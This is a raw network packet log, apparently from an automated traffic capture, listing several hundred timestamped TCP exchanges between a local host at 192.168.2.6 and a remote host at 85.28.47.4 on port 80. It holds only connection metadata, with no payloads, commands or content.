Jul 1, 2024 07:20:36.715687990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715706110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715708017 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715728998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715739965 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715763092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715764046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715795994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715827942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715831995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715854883 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715868950 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715919018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715953112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.715965986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.715987921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716000080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716022015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716036081 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716054916 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716058969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716089010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716100931 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716123104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716130972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716156006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716175079 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716187954 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716188908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716223955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716233969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716258049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716264963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716305017 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716305017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716341019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716345072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716375113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716384888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716417074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716423988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716458082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716469049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716500998 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716536045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716569901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716586113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716603041 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716607094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716636896 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716639996 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716676950 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716682911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716715097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716737986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716747046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716756105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716784000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716789961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716824055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716825962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716835976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716861010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716871977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716877937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716907024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716918945 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716939926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716944933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.716975927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.716985941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717010021 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717020988 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717046022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717056990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717080116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717086077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717113018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717113972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717147112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717161894 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717181921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717184067 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717214108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717228889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717247009 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717251062 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717279911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717298985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717312098 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717330933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717366934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717377901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717400074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717411041 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717434883 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717452049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717483997 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717498064 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717518091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717519045 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717550993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717555046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717593908 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717602015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717636108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717644930 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717669010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717675924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717705011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717713118 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717739105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717750072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717771053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717772961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717804909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.717814922 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.717844963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.776674986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.776731968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.776782036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.776808023 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.776834011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.776835918 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.776870966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.776882887 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.776910067 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.776936054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.776968956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.776978016 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.777003050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.777015924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.777053118 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.777075052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.777107954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.777122021 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.777156115 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.777156115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.777189970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.777204990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.777223110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.777229071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.777256966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.777276993 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.777293921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.786999941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.787029982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.787058115 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.787081957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.787082911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.787132025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.787147045 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.787166119 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.787178040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.787200928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.787214994 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.787239075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.787240028 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.787252903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.787276030 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.787295103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.797724962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.797775984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.797799110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.797808886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.797811031 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.797852039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.797861099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.797895908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.797909975 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.797926903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.797939062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.797971964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.797981024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798027992 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798032045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798064947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798080921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798094034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798106909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798132896 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798145056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798178911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798185110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798219919 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798228979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798263073 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798275948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798295975 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798310995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798340082 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798379898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798413038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798433065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798455000 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798461914 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798495054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798510075 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798528910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798543930 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798562050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798572063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798599958 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798603058 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798610926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798636913 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798646927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.798655987 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.798688889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.807974100 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808002949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808037043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808048964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808053017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808087111 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808096886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808119059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808144093 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808152914 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808162928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808198929 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808204889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808239937 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808254004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808271885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808280945 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808310032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808319092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808356047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808365107 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808393002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808397055 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808428049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808442116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808460951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808497906 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808497906 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808528900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808567047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808581114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808613062 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808624029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808648109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808651924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808684111 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808687925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808717966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808727026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808757067 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808768988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808801889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808809042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808846951 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808852911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808890104 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808918953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.808960915 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.808974028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809006929 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809011936 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809041023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809047937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809082031 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809092045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809125900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809134007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809165001 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809175014 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809211016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809215069 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809245110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809251070 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809278965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809284925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809313059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809318066 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809348106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809357882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809381962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809386015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809420109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809427023 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809453011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809461117 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809485912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809495926 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809520006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809525013 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809555054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809586048 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809586048 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809587955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809623003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809624910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809655905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809663057 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809694052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809703112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809736967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809745073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809771061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809777975 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809803963 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809806108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809837103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809840918 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809871912 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809871912 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809904099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809915066 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809942961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.809954882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809988976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.809993982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810022116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810028076 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810056925 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810062885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810097933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810105085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810138941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810142040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810172081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810178995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810209990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810223103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810254097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810262918 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810288906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810300112 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810319901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:36.810338020 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:36.810372114 CEST	80	49711	85.28.47.4	192.168.2.6
